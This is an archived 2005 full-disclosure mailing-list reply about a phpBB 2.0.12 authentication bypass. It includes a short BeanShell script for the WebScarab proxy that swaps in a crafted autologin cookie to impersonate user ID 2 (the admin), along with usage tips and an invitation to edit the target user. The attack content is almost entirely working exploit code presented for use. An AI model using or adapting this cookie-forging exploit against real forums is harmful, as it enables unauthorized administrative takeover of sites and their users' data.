Re: phpBB <= 2.0.12 UID Exploit

From: Nicob (nicob_at_nicob.net)
Date: 03/02/05

  • Next message: Karl Lynn: "EEYE: Computer Associates License Manager Remote Vulnerabilities"
    To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
    Date: Wed, 02 Mar 2005 10:46:23 +0100
    
    

    federico gonzales wrote :
    >
    > I made this exploit for get admin permissions in forums phpbb2 2.0.12.
    > It requires mozilla or firefox installed. The instructions are in the
    > exploit.

    Platform and browser independent exploit in 3 lines of Bean-Shell. Use
    this code in WebScarab, and don't forget to desactivate the "Get cookies
    from responses" option.

    request.deleteHeader("Cookie");
    request.addHeader("Cookie","phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D;");
    response = fetchResponse(request);

    Note #1 : because of some additional checks for the /admin/ pages, you
    should desactivate the BeanShell before following the admin link.
    Note #2 : this code tries to get userid=2 privs. Edit it at will ...

    Nicob


  • Next message: Karl Lynn: "EEYE: Computer Associates License Manager Remote Vulnerabilities"

    Relevant Pages

    • Re: phpBB <= 2.0.12 UID Exploit
      ... Platform and browser independent exploit in 3 lines of Bean-Shell. ... from responses" option. ... should desactivate the BeanShell before following the admin link. ...
      (Full-Disclosure)
    • Re: Speaking of beautiful images...
      ... again, giving them a platform. ... platform by refusing to respond to insulting responses. ... Tsk, tsk, tsk....remember, no playing with the trolls. ...
      (rec.boats)
    • Re: Speaking of beautiful images...
      ... thoughts to the readers of rec.boats: ... again, giving them a platform. ... platform by refusing to respond to insulting responses. ...
      (rec.boats)
    • Re: webbrowser.open still gives problem with file://
      ... I get a few responses and I tryed working it out. ... I also refered to the cookbook example posted on that thread. ... You didn't say which platform you're on. ...
      (comp.lang.python)
    • Which Is Correct Selection?
      ... Because we want move our ERP application to Unix ... But all responses say to me ("Inpossible"/"Use ... Now I want change my applicaiton develop platform to ...
      (borland.public.delphi.non-technical)